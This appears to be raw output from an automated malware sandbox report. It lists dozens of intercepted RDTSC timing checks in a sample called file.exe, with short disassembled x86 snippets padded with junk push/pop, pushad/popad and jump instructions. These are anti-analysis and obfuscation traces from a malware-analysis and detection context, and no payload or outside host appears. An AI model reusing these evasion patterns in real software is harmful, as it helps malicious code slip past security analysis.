Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120B04C second address: 120B073 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jo 00007FD908C4C6E6h 0x00000009 jne 00007FD908C4C6E6h 0x0000000f pop edx 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 jmp 00007FD908C4C6EEh 0x00000018 push eax 0x00000019 push edx 0x0000001a push edx 0x0000001b pop edx 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120B073 second address: 120B079 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120F211 second address: 120F22B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD908C4C6F6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1211569 second address: 121156E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121156E second address: 12115B0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 pop esi 0x00000008 jmp 00007FD908C4C6F4h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jmp 00007FD908C4C6EAh 0x00000015 jmp 00007FD908C4C6F4h 0x0000001a pushad 0x0000001b pushad 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1216A13 second address: 1216A2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD9092ECB36h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1216A2F second address: 1216A39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1216A39 second address: 1216A60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 pushad 0x00000008 jmp 00007FD9092ECB37h 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1216A60 second address: 1216A73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD908C4C6EDh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CF1DE second address: 11CF24E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 nop 0x00000008 mov edi, 57ABBF92h 0x0000000d mov ebx, dword ptr [ebp+1248319Eh] 0x00000013 push 00000000h 0x00000015 push ebp 0x00000016 call 00007FD9092ECB28h 0x0000001b pop ebp 0x0000001c mov dword ptr [esp+04h], ebp 0x00000020 add dword ptr [esp+04h], 00000015h 0x00000028 inc ebp 0x00000029 push ebp 0x0000002a ret 0x0000002b pop ebp 0x0000002c ret 0x0000002d or edx, dword ptr [ebp+122D3021h] 0x00000033 add eax, ebx 0x00000035 push 00000000h 0x00000037 push eax 0x00000038 call 00007FD9092ECB28h 0x0000003d pop eax 0x0000003e mov dword ptr [esp+04h], eax 0x00000042 add dword ptr [esp+04h], 00000015h 0x0000004a inc eax 0x0000004b push eax 0x0000004c ret 0x0000004d pop eax 0x0000004e ret 0x0000004f je 00007FD9092ECB2Ch 0x00000055 mov dword ptr [ebp+122D2615h], ebx 0x0000005b nop 0x0000005c push eax 0x0000005d push edx 0x0000005e jnc 00007FD9092ECB2Ch 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CF24E second address: 11CF2AE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD908C4C6EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jp 00007FD908C4C6F1h 0x00000010 jmp 00007FD908C4C6EBh 0x00000015 nop 0x00000016 pushad 0x00000017 or cl, 00000021h 0x0000001a mov bx, A1A9h 0x0000001e popad 0x0000001f push 00000004h 0x00000021 push 00000000h 0x00000023 push ebp 0x00000024 call 00007FD908C4C6E8h 0x00000029 pop ebp 0x0000002a mov dword ptr [esp+04h], ebp 0x0000002e add dword ptr [esp+04h], 0000001Ah 0x00000036 inc ebp 0x00000037 push ebp 0x00000038 ret 0x00000039 pop ebp 0x0000003a ret 0x0000003b adc ecx, 4E60BE33h 0x00000041 mov edx, 7CDBB324h 0x00000046 nop 0x00000047 push edx 0x00000048 push eax 0x00000049 push edx 0x0000004a push esi 0x0000004b pop esi 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1216EC2 second address: 1216EDF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD9092ECB39h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1216EDF second address: 1216F13 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FD908C4C6ECh 0x00000008 jmp 00007FD908C4C6ECh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jmp 00007FD908C4C6EDh 0x00000015 push eax 0x00000016 push edx 0x00000017 jp 00007FD908C4C6E6h 0x0000001d push edx 0x0000001e pop edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12178F9 second address: 12178FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121E797 second address: 121E79D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121DB31 second address: 121DB37 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121DDA0 second address: 121DDB8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FD908C4C6EAh 0x0000000d popad 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121DDB8 second address: 121DDBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121DDBC second address: 121DDC0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121DDC0 second address: 121DDC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121DF41 second address: 121DF49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121E20B second address: 121E232 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push edi 0x00000009 pop edi 0x0000000a jnp 00007FD9092ECB26h 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 jmp 00007FD9092ECB2Fh 0x00000017 popad 0x00000018 pushad 0x00000019 push edx 0x0000001a pop edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121E232 second address: 121E242 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a js 00007FD908C4C6E6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121E242 second address: 121E257 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD9092ECB31h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1225323 second address: 122532A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122532A second address: 122533E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FD9092ECB2Bh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12254B1 second address: 12254B6 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12254B6 second address: 12254BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12254BC second address: 12254C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12262E0 second address: 12262FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FD9092ECB26h 0x0000000a jmp 00007FD9092ECB2Fh 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12262FC second address: 1226302 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1226302 second address: 122631F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD9092ECB39h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12265CE second address: 12265D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12265D2 second address: 12265E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007FD9092ECB28h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12265E0 second address: 12265EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007FD908C4C6E6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12265EC second address: 12265F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12265F0 second address: 12265F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12265F4 second address: 122661E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b je 00007FD9092ECB2Eh 0x00000011 jbe 00007FD9092ECB26h 0x00000017 pushad 0x00000018 popad 0x00000019 jo 00007FD9092ECB28h 0x0000001f push edi 0x00000020 pop edi 0x00000021 pushad 0x00000022 jnl 00007FD9092ECB26h 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122661E second address: 1226624 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1226903 second address: 122691B instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FD9092ECB26h 0x00000008 jo 00007FD9092ECB26h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 je 00007FD9092ECB26h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122691B second address: 122691F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122691F second address: 1226925 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1226925 second address: 122692B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122692B second address: 1226931 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1226ED6 second address: 1226EEF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD908C4C6F4h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1226EEF second address: 1226F09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD9092ECB34h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122A795 second address: 122A79A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122AA10 second address: 122AA14 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122AA14 second address: 122AA1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122AA1A second address: 122AA20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122AB88 second address: 122AB8C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122AB8C second address: 122AB92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122AB92 second address: 122AB9D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007FD908C4C6E6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122AB9D second address: 122ABA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12363AB second address: 12363AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1236553 second address: 1236559 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1236559 second address: 123655D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123655D second address: 1236572 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FD9092ECB2Dh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1236572 second address: 1236583 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jc 00007FD908C4C6FAh 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1236583 second address: 1236589 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1236589 second address: 123658F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123681F second address: 1236823 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1236AF5 second address: 1236AF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1236AF9 second address: 1236B11 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 jl 00007FD9092ECB26h 0x0000000f pushad 0x00000010 popad 0x00000011 pop esi 0x00000012 popad 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 push edi 0x00000017 pop edi 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1236B11 second address: 1236B46 instructions: 0x00000000 rdtsc 0x00000002 js 00007FD908C4C6E6h 0x00000008 jmp 00007FD908C4C6EDh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jl 00007FD908C4C6F6h 0x00000015 jmp 00007FD908C4C6EAh 0x0000001a jno 00007FD908C4C6E6h 0x00000020 jl 00007FD908C4C6ECh 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1236B46 second address: 1236B4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1235A8A second address: 1235A8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123E377 second address: 123E37B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123DEC8 second address: 123DEE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 push esi 0x00000007 pop esi 0x00000008 jmp 00007FD908C4C6EEh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123DEE0 second address: 123DEE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123DEE6 second address: 123DEEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123DEEB second address: 123DEF2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123FA59 second address: 123FA5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123FA5D second address: 123FA71 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jp 00007FD9092ECB26h 0x0000000e ja 00007FD9092ECB26h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124CDFA second address: 124CE1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jng 00007FD908C4C6EAh 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e pop eax 0x0000000f pop edi 0x00000010 pushad 0x00000011 jnp 00007FD908C4C6EAh 0x00000017 pushad 0x00000018 popad 0x00000019 push ecx 0x0000001a pop ecx 0x0000001b pushad 0x0000001c pushad 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124CE1A second address: 124CE37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD9092ECB35h 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124C88A second address: 124C897 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124FF74 second address: 124FF9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 jmp 00007FD9092ECB34h 0x0000000b jmp 00007FD9092ECB2Bh 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124FF9C second address: 124FFB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD908C4C6F4h 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125B154 second address: 125B169 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007FD9092ECB2Eh 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125FABD second address: 125FAC1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125FAC1 second address: 125FAC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12661A6 second address: 12661AE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12661AE second address: 12661B3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12661B3 second address: 12661BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12661BB second address: 12661CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FD9092ECB26h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12661CA second address: 12661D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126663D second address: 1266643 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1266643 second address: 126665F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 jmp 00007FD908C4C6F3h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126665F second address: 1266669 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1266669 second address: 1266673 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FD908C4C6E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1266673 second address: 1266677 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12667A5 second address: 12667C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FD908C4C6ECh 0x0000000e je 00007FD908C4C6EEh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1267537 second address: 126753D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126753D second address: 1267541 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1269126 second address: 126912A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
